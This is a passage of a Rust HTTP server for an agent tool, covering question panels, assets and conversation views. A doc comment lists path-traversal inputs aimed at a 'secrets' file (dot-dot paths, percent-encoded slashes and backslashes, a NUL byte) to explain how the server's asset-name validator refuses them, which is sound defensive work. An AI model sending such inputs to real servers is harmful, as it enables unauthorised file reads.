8149                        Some(turn_guard) => {
8150                            let talk = ui.talks.get(&talk.id)?;
8151                            let cfg = match cfg {
8152                                Some(cfg) => cfg,
8153                                None => Config::discover(&talk.repo, None)?.0,
8154                            };
8155                            Some((talk, cfg, turn_guard))
8156                        }
8157                        None => None,
8158                    }
8159                } else {
8160                    None
8161                };
8162                let q = ui.questions.get(&q.id)?;
8163                let cfg = deputy_config(&ui.repo);
8164                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8165                    .with_origin(&tasks, &talks, &watches);
8166                Ok((view, claim, fresh.then_some(talk.id)))
8167            }
8168        })
8169        .await?;
8170        #[cfg(not(test))]
8171        {
8172            if let Some(id) = submitted {
8173                crate::consult::spawn_turn(&ui.talks, &id)
8174                    .await
8175                    .map_err(ApiError::from)?;
8176            }
8177            drop(reclaimed);
8178        }
8179        #[cfg(test)]
8180        let _ = submitted;
8181        #[cfg(test)]
8182        if let Some((talk, cfg, turn_guard)) = reclaimed {
8183            let talks = ui.talks.clone();
8184            let id = talk.id.clone();
8185            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8186        }
8187        Ok((StatusCode::ACCEPTED, Json(view)))
8188    })
8189    .await
8190}
8191
8192/// Expand an id or short id to exactly one question id.
8193fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8194    if plain_record_id(id) && store.path_of(id).is_file() {
8195        return Ok(id.to_owned());
8196    }
8197    pick(
8198        store.list().into_iter().map(|q| q.id).collect(),
8199        id,
8200        "question",
8201    )
8202}
8203
8204/// `GET /api/questions/{id}/panel`.
8205///
8206/// The panel an agent wrote for this question, as `text/html` under
8207/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8208/// A question without one is a 404 rather than an empty page: the client
8209/// preflights this route with `HEAD` and must be able to tell "no panel" from
8210/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8211/// parent document so it cannot tell the difference by looking.
8212///
8213/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8214/// sanitises or minifies it - a sanitiser is a list of things someone thought
8215/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8216/// is the direction that stays safe when an agent writes markup nobody
8217/// predicted.
8218async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8219    blocking(move || {
8220        let id = resolve_question(&ui.questions, &id)?;
8221        let Some(html) = ui.questions.panel_html(&id) else {
8222            return Err(ApiError::not_found(format!("question {id} has no panel")));
8223        };
8224        Ok(panel_response(
8225            "text/html; charset=utf-8",
8226            false,
8227            html.into_bytes(),
8228        ))
8229    })
8230    .await
8231}
8232
8233/// `GET /api/questions/{id}/asset/{name}`.
8234///
8235/// One file from the question's own panel directory, so a panel can show a
8236/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8237/// having to allow anything off this machine.
8238///
8239/// This is the only route in the server where a client names a file, so it is
8240/// the only one with a traversal surface, and the name is checked by
8241/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8242/// what is worth being explicit about, because the answer is not "all of it in
8243/// one place":
8244///
8245/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8246///   the raw request path and `{name}` spans exactly one segment, so a real
8247///   slash makes the request too long for the route and the router answers 404.
8248/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8249///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8250///   `..\secrets` respectively, which look like plain filenames to the router.
8251///   The validator refuses them here - both for the literal `..` and because
8252///   `/` and `\` are not in the permitted character set - and answers 400.
8253/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8254///   the platform's path API is not, and it is refused here for the same
8255///   reason: NUL is not a permitted character.
8256/// * [`Questions::panel_asset`] validates again on read, so the check is not
8257///   load-bearing in only one place. This route's own check exists so the
8258///   failure is a 400 that says which name was wrong, rather than a store error
8259///   the operator has to interpret.
8260async fn question_asset(
8261    State(ui): State<Arc<Ui>>,
8262    Path((id, name)): Path<(String, String)>,
8263) -> ApiResult<Response> {
8264    // Before any filesystem work and before any path is built: a name this
8265    // server will not serve should not become a `PathBuf` at all.
8266    if !crate::ask::valid_asset_name(&name) {
8267        return Err(ApiError::bad_request(format!(
8268            "`{name}` is not a usable asset name"
8269        )));
8270    }
8271    blocking(move || {
8272        let id = resolve_question(&ui.questions, &id)?;
8273        let asset = ui
8274            .questions
8275            .panel_asset(&id, &name)
8276            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8277        let Some(bytes) = asset else {
8278            return Err(ApiError::not_found(format!(
8279                "question {id} has no asset `{name}`"
8280            )));
8281        };
8282        Ok(panel_response(
8283            asset_content_type(&name),
8284            is_svg(&name),
8285            bytes,
8286        ))
8287    })
8288    .await
8289}
8290
8291/// Content type for a panel asset, from a closed whitelist.
8292///
8293/// A whitelist with an `application/octet-stream` fallback rather than a
8294/// guess, because the one answer that must never come out of here is
8295/// `text/html`. An agent that writes `notes.html` into its panel directory and
8296/// links it would otherwise get its own markup rendered at the top level of the
8297/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8298/// magi's origin - which is precisely the thing the panel design exists to
8299/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8300///
8301/// `nosniff` accompanies this on every response, so a browser cannot decide it
8302/// knows better than the type we sent.
8303fn asset_content_type(name: &str) -> &'static str {
8304    match extension(name).as_deref() {
8305        Some("png") => "image/png",
8306        Some("jpg" | "jpeg") => "image/jpeg",
8307        Some("gif") => "image/gif",
8308        Some("webp") => "image/webp",
8309        Some("svg") => "image/svg+xml",
8310        Some("css") => "text/css; charset=utf-8",
8311        Some("txt") => "text/plain; charset=utf-8",
8312        _ => "application/octet-stream",
8313    }
8314}
8315
8316/// Is this an SVG, and therefore a file that must never be opened at the top
8317/// level?
8318fn is_svg(name: &str) -> bool {
8319    extension(name).as_deref() == Some("svg")
8320}
8321
8322/// Lowercased extension, or `None` for a name without one.
8323fn extension(name: &str) -> Option<String> {
8324    name.rsplit_once('.')
8325        .map(|(_, ext)| ext.to_ascii_lowercase())
8326}
8327
8328/// Every panel response, with the four headers that make it safe and, for an
8329/// SVG, a fifth.
8330///
8331/// One function rather than a header list per handler, because a panel route
8332/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8333/// model gone, silently, on one of two routes. Adding a third panel route later
8334/// means calling this, and there is nowhere else to build a panel response.
8335///
8336/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8337/// as an `<img src>` inside the panel that script cannot run - but the asset
8338/// URL is also a plain URL an operator can be talked into opening in a tab,
8339/// where it is a document on magi's own origin. `Content-Disposition:
8340/// attachment` makes the browser download it instead of rendering it, which
8341/// closes that door without taking away the ability to draw a diff. Raster
8342/// images have no such execution surface and are left inline, so tapping a
8343/// screenshot still shows it.
8344fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8345    let mut res = (
8346        [
8347            (header::CONTENT_TYPE, content_type),
8348            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8349            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8350            (header::REFERRER_POLICY, "no-referrer"),
8351        ],
8352        body,
8353    )
8354        .into_response();
8355    if download {
8356        res.headers_mut().insert(
8357            header::CONTENT_DISPOSITION,
8358            HeaderValue::from_static("attachment"),
8359        );
8360    }
8361    res
8362}
8363
8364/// A talk as the phone reads it.
8365///
8366/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8367/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8368/// parses markdown itself - and the process-local `thinking` hint.
8369#[derive(Debug, Serialize)]
8370struct ChatApproval {
8371    question: String,
8372    target: crate::merge_decision::Target,
8373}
8374
8375#[derive(Debug, Serialize)]
8376struct TalkView {
8377    #[serde(flatten)]
8378    talk: Talk,
8379    turn_bodies_md: Vec<Vec<md::Node>>,
8380    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8381    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8382    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8383    merge_approvals: Vec<ChatApproval>,
8384    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8385    /// this server process.
8386    ///
8387    /// This is deliberately not durable: another server process cannot see
8388    /// it, and a restarted server must not claim an old turn is live. It is a
8389    /// progress hint rather than proof a reply landed; the transcript remains
8390    /// the source of truth for that.
8391    thinking: bool,
8392    /// Context-window usage, derived per request - see
8393    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8394    /// and each mutation) so the phone needs no extra call or polling.
8395    context: talk::ContextUsage,
8396    /// `[talk] operator_name`, when configured; the Chat labels the
8397    /// operator's turns with it.
8398    operator_name: Option<String>,
8399    /// The active persona's display name; `None` for the default voice.
8400    persona_name: Option<String>,
8401    /// URL of the avatar for the conversation's persona (the default voice
8402    /// included). Server-built; a configured `icon` never reaches the client.
8403    persona_avatar: String,
8404    /// Operator avatar; display only and independent of repository config.
8405    operator_avatar: String,
8406    magi_avatar: String,
8407}
8408
8409impl TalkView {
8410    /// Reads the talk's repository config itself; a config that cannot be
8411    /// read leaves the window unknown but never fails the conversation.
8412    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8413        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8414        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8415    }
8416
8417    /// As [`Self::new`], with the config already in hand (the list reads one
8418    /// per repository, not one per conversation).
8419    fn with_config(
8420        talk: Talk,
8421        thinking: bool,
8422        cfg: Option<&Config>,
8423        home: &FsPath,
8424        cache: &id_links::IndexCache,
8425    ) -> Self {
8426        let references = cache.for_talk(home, &talk);
8427        Self::with_references(talk, thinking, cfg, home, &references)
8428    }
8429
8430    fn with_references(
8431        mut talk: Talk,
8432        thinking: bool,
8433        cfg: Option<&Config>,
8434        home: &FsPath,
8435        references: &id_links::IdIndex,
8436    ) -> Self {
8437        // This owned value is the display DTO; never write it back to the talk store.
8438        let snapshot = talk.clone();
8439        for (index, turn) in talk.turns.iter_mut().enumerate() {
8440            let original = &snapshot.turns[index];
8441            if turn.messages.is_empty() {
8442                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8443                    turn.messages.push(talk::Message {
8444                        sender: Some(talk::Sender::Magi),
8445                        body: original.body.clone(),
8446                        display: Some(display),
8447                        attachments: original.attachments.clone(),
8448                        reply: None,
8449                    });
8450                }
8451            } else {
8452                for (i, message) in turn.messages.iter_mut().enumerate() {
8453                    message.display =
8454                        talk::notice_display(&snapshot, original, original.messages.get(i));
8455                    if message.display.is_some() {
8456                        message.sender = Some(talk::Sender::Magi);
8457                    }
8458                }
8459            }
8460        }
8461        for message in &mut talk.pending_messages {
8462            if message.display.is_none()
8463                && (message.sender == Some(talk::Sender::Magi)
8464                    || snapshot
8465                        .completion_notices
8466                        .iter()
8467                        .any(|r| r.notice == message.body))
8468            {
8469                message.display = crate::prompt::legacy_notice_display(&message.body);
8470                if message.display.is_some() {
8471                    message.sender = Some(talk::Sender::Magi);
8472                }
8473            }
8474        }
8475        if talk.pending_messages.is_empty()
8476            && snapshot
8477                .completion_notices
8478                .iter()
8479                .any(|r| r.notice == talk.pending)
8480            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8481        {
8482            talk.pending_messages.push(talk::Message {
8483                sender: Some(talk::Sender::Magi),
8484                display: Some(display),
8485                body: talk.pending.clone(),
8486                attachments: talk.pending_attachments.clone(),
8487                reply: None,
8488            });
8489        }
8490        let excerpts: Vec<Vec<Option<String>>> = talk
8491            .turns
8492            .iter()
8493            .map(|turn| {
8494                turn.messages
8495                    .iter()
8496                    .map(|m| {
8497                        m.display
8498                            .as_ref()
8499                            .map(|d| d.facts.chars().take(240).collect())
8500                    })
8501                    .collect()
8502            })
8503            .collect();
8504        for turn in &mut talk.turns {
8505            let provenance = talk::sender(turn, None);
8506            turn.sender = Some(provenance);
8507            for message in &mut turn.messages {
8508                message.sender = Some(message.sender.unwrap_or(provenance));
8509            }
8510        }
8511        // Old reply snapshots have only a role; recover provenance from their target.
8512        let senders: Vec<Vec<talk::Sender>> = talk
8513            .turns
8514            .iter()
8515            .map(|turn| {
8516                if turn.messages.is_empty() {
8517                    vec![talk::sender(turn, None)]
8518                } else {
8519                    turn.messages
8520                        .iter()
8521                        .map(|m| talk::sender(turn, Some(m)))
8522                        .collect()
8523                }
8524            })
8525            .collect();
8526        for reply in talk
8527            .turns
8528            .iter_mut()
8529            .flat_map(|t| t.messages.iter_mut())
8530            .chain(talk.pending_messages.iter_mut())
8531            .filter_map(|m| m.reply.as_mut())
8532        {
8533            if let Some(Some(excerpt)) = excerpts
8534                .get(reply.target.turn)
8535                .and_then(|ms| ms.get(reply.target.message))
8536            {
8537                reply.excerpt = excerpt.clone();
8538                reply.sender = Some(talk::Sender::Magi);
8539            }
8540            if reply.sender.is_none() {
8541                reply.sender = senders
8542                    .get(reply.target.turn)
8543                    .and_then(|messages| messages.get(reply.target.message))
8544                    .copied();
8545            }
8546        }
8547        let context = talk::context_usage(&talk, cfg);
8548        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8549            .turns
8550            .iter()
8551            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8552            .collect();
8553        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8554            .turns
8555            .iter()
8556            .map(|turn| {
8557                if turn.messages.is_empty() {
8558                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8559                } else {
8560                    turn.messages
8561                        .iter()
8562                        .map(|message| {
8563                            notice_markdown(
8564                                message.sender.unwrap_or(talk::Sender::Operator),
8565                                &message.body,
8566                                message.display.as_ref(),
8567                            )
8568                        })
8569                        .collect()
8570                }
8571            })
8572            .collect();
8573        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8574            .pending_messages
8575            .iter()
8576            .map(|message| {
8577                notice_markdown(
8578                    message.sender.unwrap_or(talk::Sender::Operator),
8579                    &message.body,
8580                    message.display.as_ref(),
8581                )
8582            })
8583            .collect();
8584        for nodes in &mut turn_bodies_md {
8585            references.markdown(nodes);
8586        }
8587        for nodes in turn_messages_md
8588            .iter_mut()
8589            .flatten()
8590            .chain(pending_messages_md.iter_mut())
8591            .flatten()
8592        {
8593            references.markdown(nodes);
8594        }
8595        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8596        let persona_name = persona::find(specs, &talk.persona)
8597            .filter(|p| !p.is_default())
8598            .map(|p| p.name);
8599        let mut avatar_persona = persona::find(specs, &talk.persona)
8600            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8601        // A removed configured persona may still have an override and old talks.
8602        if avatar_persona.id != talk.persona
8603            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8604        {
8605            avatar_persona.id.clone_from(&talk.persona);
8606            avatar_persona.icon = None;
8607        }
8608        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8609        let approvals_store = ask::Questions::at(home.join("questions"));
8610        let merge_approvals = talk
8611            .notified
8612            .iter()
8613            .filter_map(|key| key.strip_prefix("question:"))
8614            .filter_map(|id| approvals_store.get(id).ok())
8615            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8616            .filter_map(|q| {
8617                Some(ChatApproval {
8618                    question: q.id,
8619                    target: q.merge_target?,
8620                })
8621            })
8622            .collect();
8623        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8624        Self {
8625            turn_bodies_md,
8626            turn_messages_md,
8627            pending_messages_md,
8628            merge_approvals,
8629            thinking,
8630            context,
8631            operator_name,
8632            persona_name,
8633            persona_avatar,
8634            magi_avatar: magi_icon_url(home),
8635            operator_avatar: operator_icon_url(home),
8636            talk,
8637        }
8638    }
8639}
8640
8641/// Parse only the user-facing representation of an explicitly identified MAGI send.
8642fn notice_markdown(
8643    sender: talk::Sender,
8644    body: &str,
8645    display: Option<&crate::prompt::NoticeDisplay>,
8646) -> Option<Vec<md::Node>> {
8647    if sender != talk::Sender::Magi {
8648        return None;
8649    }
8650    let text = if let Some(display) = display {
8651        display.facts.as_str()
8652    } else {
8653        // Unknown completion templates may contain internal directives. Never
8654        // promote their agent input to the Markdown display surface.
8655        if crate::prompt::is_completion_notice(body)
8656            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8657        {
8658            return None;
8659        }
8660        body.strip_prefix("magi: ").unwrap_or(body)
8661    };
8662    Some(md::to_nodes(text, &md::ImageBase::None))
8663}
8664
8665/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8666/// conversation has filed, so the phone can follow one from inside the
8667/// conversation that asked for it rather than hunting the Queue for a task id
8668/// it may not remember.
8669#[derive(Debug, Serialize)]
8670struct TalkDetailView {
8671    #[serde(flatten)]
8672    view: TalkView,
8673    tasks: Vec<TaskView>,
8674    task_progress: TalkTaskProgress,
8675    /// The agents this talk's repository can switch to; empty when its
8676    /// configuration cannot be read, which must not fail the whole detail.
8677    roster: Vec<RosterEntry>,
8678    /// The personas the conversation can pick from. The built-ins are always
8679    /// listed, even when the repository's configuration cannot be read.
8680    personas: Vec<PersonaEntry>,
8681}
8682
8683/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8684#[derive(Debug, Serialize)]
8685struct TalkTaskProgress {
8686    state: &'static str,
8687    total: usize,
8688    done: usize,
8689    counts: std::collections::BTreeMap<&'static str, usize>,
8690    unfinished_ids: Vec<String>,
8691}
8692
8693fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8694    let mut counts = std::collections::BTreeMap::from([
8695        ("queued", 0),
8696        ("running", 0),
8697        ("done", 0),
8698        ("failed", 0),
8699        ("held", 0),
8700        ("blocked", 0),
8701        ("parked", 0),
8702    ]);
8703    let mut unfinished_ids = Vec::new();
8704    for task in tasks {
8705        *counts.entry(task.status.as_str()).or_default() += 1;
8706        if task.status != TaskStatus::Done {
8707            unfinished_ids.push(task.id.clone());
8708        }
8709    }
8710    TalkTaskProgress {
8711        state: if tasks.is_empty() {
8712            "none"
8713        } else if unfinished_ids.is_empty() {
8714            "complete"
8715        } else {
8716            "incomplete"
8717        },
8718        total: tasks.len(),
8719        done: tasks.len() - unfinished_ids.len(),
8720        counts,
8721        unfinished_ids,
8722    }
8723}
8724
8725/// One persona as the talk's persona selector shows it.
8726#[derive(Debug, Serialize)]
8727struct PersonaEntry {
8728    id: String,
8729    name: String,
8730    /// Avatar URL, see [`TalkView::persona_avatar`].
8731    avatar: String,
8732}
8733
8734/// One roster agent as the talk's agent selector shows it.
8735#[derive(Debug, Serialize)]
8736struct RosterEntry {
8737    id: String,
8738    kind: AgentKind,
8739    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8740    runnable: bool,
8741}
8742
8743/// Bounded summaries; `/page` carries a cursor for older membership.
8744async fn talks_list(
8745    State(ui): State<Arc<Ui>>,
8746    Query(q): Query<ListQuery>,
8747    headers: header::HeaderMap,
8748) -> ApiResult<Json<Vec<TalkListView>>> {
8749    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8750        let limit = q.limit.unwrap_or(50).min(50);
8751        let ids = if let Some(ids) = q.ids {
8752            ids.split(',')
8753                .filter(|id| plain_record_id(id))
8754                .take(limit)
8755                .map(str::to_owned)
8756                .collect()
8757        } else {
8758            page_ids(&ui, true, PageQuery::default())?
8759                .0
8760                .into_iter()
8761                .take(limit)
8762                .collect()
8763        };
8764        Ok(Json(talk_rows(&ui, ids, &headers)))
8765    })
8766    .await
8767}
8768
8769/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8770/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8771/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8772/// end still opens a talk against an older binary.
8773#[derive(Debug, Default, Deserialize)]
8774#[serde(default)]
8775struct NewTalk {
8776    agent: Option<String>,
8777    repo: Option<PathBuf>,
8778    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8779    /// wrong type is dropped like a stale value instead of failing the request;
8780    /// each falls back to its default on its own (see [`talk::begin_with`]).
8781    preferred_agent: Option<serde_json::Value>,
8782    persona: Option<serde_json::Value>,
8783    implementers: Option<serde_json::Value>,
8784}
8785
8786/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8787/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8788async fn talk_post(
8789    State(ui): State<Arc<Ui>>,
8790    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8791) -> ApiResult<impl IntoResponse> {
8792    // An absent body, or an empty one, is the normal way to open a talk - see
8793    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8794    // rather than refused.
8795    let body = match body {
8796        Ok(Json(body)) => body,
8797        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8798        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8799    };
8800    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8801    let cfg = config_for(&repo).await?;
8802    let view = blocking(move || {
8803        let preferred = talk::Preferred {
8804            agent: body
8805                .preferred_agent
8806                .as_ref()
8807                .and_then(|v| v.as_str())
8808                .map(str::to_owned),
8809            persona: body
8810                .persona
8811                .as_ref()
8812                .and_then(|v| v.as_str())
8813                .map(str::to_owned),
8814            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8815        };
8816        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8817        let thinking = ui.is_thinking(&talk.id);
8818        Ok(TalkView::new(talk, thinking, &ui))
8819    })
8820    .await?;
8821    Ok((StatusCode::CREATED, Json(view)))
8822}
8823
8824/// Transcript first: unrelated queue history and repository probes are deferred.
8825async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8826    // Keep transcript reads independent of sections and the runtime blocking pool.
8827    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
8828        let id = resolve_talk(&ui.talks, &id)?;
8829        let talk = ui.talks.get(&id)?;
8830        let thinking = ui.is_thinking_observed(&id);
8831        // The browser already resolves Markdown text/code references after
8832        // rendering. A cold reference/review index must not gate the transcript.
8833        Ok(Json(TalkView::with_references(
8834            talk,
8835            thinking,
8836            None,
8837            &ui.home,
8838            &id_links::IdIndex::default(),
8839        )))
8840    })
8841    .await
8842}
8843
8844async fn talk_sections(
8845    State(ui): State<Arc<Ui>>,
8846    Path(id): Path<String>,
8847) -> ApiResult<Json<serde_json::Value>> {
8848    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8849        let id = resolve_talk(&ui.talks, &id)?;
8850        let talk = ui.talks.get(&id)?;
8851        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8852        let task_progress = talk_task_progress(&tasks);
8853        let tasks: Vec<_> = tasks
8854            .into_iter()
8855            .map(|task| {
8856                serde_json::json!({
8857                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8858                })
8859            })
8860            .collect();
8861        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8862        let roster: Vec<_> = cfg
8863            .as_ref()
8864            .map(|cfg| {
8865                cfg.agents
8866                    .iter()
8867                    .map(|a| RosterEntry {
8868                        id: a.id.clone(),
8869                        kind: a.kind,
8870                        runnable: agent::installed(a),
8871                    })
8872                    .collect()
8873            })
8874            .unwrap_or_default();
8875        let specs = cfg
8876            .as_ref()
8877            .map(|cfg| cfg.talk.personas.clone())
8878            .unwrap_or_default();
8879        let personas: Vec<_> = persona::catalog(&specs)
8880            .into_iter()
8881            .map(|p| PersonaEntry {
8882                avatar: avatar_url(&ui.home, &talk.id, &p),
8883                id: p.id,
8884                name: p.name,
8885            })
8886            .collect();
8887        let active_persona = persona::find(&specs, &talk.persona)
8888            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8889        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8890        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8891        Ok(Json(serde_json::json!({
8892            "tasks": tasks, "task_progress": task_progress,
8893            "roster": roster, "personas": personas,
8894            "context": talk::context_usage(&talk, cfg.as_ref()),
8895            "context_for": talk.updated_at,
8896            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8897            "persona_name": persona_name,
8898            "persona_avatar": persona_avatar,
8899        })))
8900    })
8901    .await
8902}
8903
8904/// `GET /api/talks/{id}`.
8905async fn talk_detail(
8906    State(ui): State<Arc<Ui>>,
8907    Path(id): Path<String>,
8908) -> ApiResult<Json<TalkDetailView>> {
8909    blocking(move || {
8910        let id = resolve_talk(&ui.talks, &id)?;
8911        let talk = ui.talks.get(&id)?;
8912        let thinking = ui.is_thinking_observed(&talk.id);
8913        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8914        let task_progress = talk_task_progress(&tasks);
8915        let tasks = tasks.into_iter().map(TaskView::from).collect();
8916        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8917        let roster = cfg
8918            .as_ref()
8919            .map(|cfg| {
8920                cfg.agents
8921                    .iter()
8922                    .map(|a| RosterEntry {
8923                        id: a.id.clone(),
8924                        kind: a.kind,
8925                        runnable: agent::installed(a),
8926                    })
8927                    .collect()
8928            })
8929            .unwrap_or_default();
8930        let specs = cfg
8931            .as_ref()
8932            .map(|cfg| cfg.talk.personas.clone())
8933            .unwrap_or_default();
8934        let personas = persona::catalog(&specs)
8935            .into_iter()
8936            .map(|p| PersonaEntry {
8937                avatar: avatar_url(&ui.home, &talk.id, &p),
8938                id: p.id,
8939                name: p.name,
8940            })
8941            .collect();
8942        Ok(Json(TalkDetailView {
8943            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8944            tasks,
8945            task_progress,
8946            roster,
8947            personas,
8948        }))
8949    })
8950    .await
8951}
8952
8953/// The body of `POST /api/talks/{id}/say`.
8954///
8955/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8956/// returned - never bytes of its own - so a turn with no images just omits
8957/// the field, which is what an older front end still does.
8958#[derive(Debug, Default, Deserialize)]
8959#[serde(default, deny_unknown_fields)]
8960struct NewTalkTurn {
8961    reply_to: Option<talk::ReplyTarget>,
8962    text: String,
8963    attachments: Vec<String>,
8964}
8965
8966#[derive(Debug, Deserialize)]
8967#[serde(deny_unknown_fields)]
8968struct EditTalkPending {
8969    #[serde(default)]
8970    message: Option<usize>,
8971    text: String,
8972    expected_text: String,
8973    expected_attachments: Vec<String>,
8974}
8975
8976#[derive(Debug, Deserialize)]
8977#[serde(deny_unknown_fields)]
8978struct ClearTalkPending {
8979    expected_text: String,
8980    expected_attachments: Vec<String>,
8981}
8982
8983/// `POST /api/talks/{id}/say` - one turn of the conversation.
8984///
8985/// Not filesystem work, and therefore not routed through [`blocking`]: this
8986/// route spawns an agent CLI and a turn here can run for the whole of
8987/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8988/// research turn is expected to run commands rather than answer from what it
8989/// already knows. Holding an HTTP connection open that long is not a thing
8990/// to ask a phone to do; the operator's message is recorded and answered for
8991/// immediately, and the reply lands in the background, discovered through
8992/// the change stream's `talks_rev` the same way every other update on this
8993/// surface is.
8994async fn talk_say(
8995    State(ui): State<Arc<Ui>>,
8996    Path(id): Path<String>,
8997    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8998) -> ApiResult<(StatusCode, Json<TalkView>)> {
8999    let admission = ui.begin_admission()?;
9000    admitted(admission, async move {
9001    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9002    if body.text.trim().is_empty() && body.attachments.is_empty() {
9003        return Err(ApiError::bad_request("say something"));
9004    }
9005
9006    let id = {
9007        let ui = Arc::clone(&ui);
9008        let asked = id.clone();
9009        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9010    };
9011    // A closed Talk never accepts a new immediate or queued turn. Check this
9012    // before claiming a slot so its ordinary domain refusal is a 409, not an
9013    // incidental failure from the later record/queue write.
9014    {
9015        let ui = Arc::clone(&ui);
9016        let id = id.clone();
9017        blocking(move || {
9018            let talk = ui.talks.get(&id)?;
9019            if !talk.status.open() {
9020                return Err(ApiError::conflict(format!(
9021                    "talk {} is {} and takes no more turns",
9022                    talk.short(),
9023                    talk.status.as_str()
9024                )));
9025            }
9026            Ok(())
9027        })
9028        .await?;
9029    }
9030
9031    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9032    // actually stores, before anything is written - an unknown id is a 4xx
9033    // that names it rather than a turn (or a queued draft) silently missing
9034    // an image.
9035    let attachments = {
9036        let ui = Arc::clone(&ui);
9037        let id = id.clone();
9038        let ids = body.attachments.clone();
9039        blocking(move || {
9040            ids.into_iter()
9041                .map(|att_id| {
9042                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9043                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9044                    })
9045                })
9046                .collect::<ApiResult<Vec<talk::Attachment>>>()
9047        })
9048        .await?
9049    };
9050    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9051        .await.map_err(ApiError::from)?;
9052
9053    // Pending recovery and a new immediate turn are decided under the same
9054    // claim lock. Without that one critical section, a second `/say` can see
9055    // the first request's claim as "busy" and append itself to the recovered
9056    // draft before the first request rejects it.
9057    let start = {
9058        let ui = Arc::clone(&ui);
9059        let id = id.clone();
9060        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9061    };
9062    let turn_guard = match start {
9063        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9064        TalkTurnStart::Pending => {
9065            return Err(ApiError::conflict(
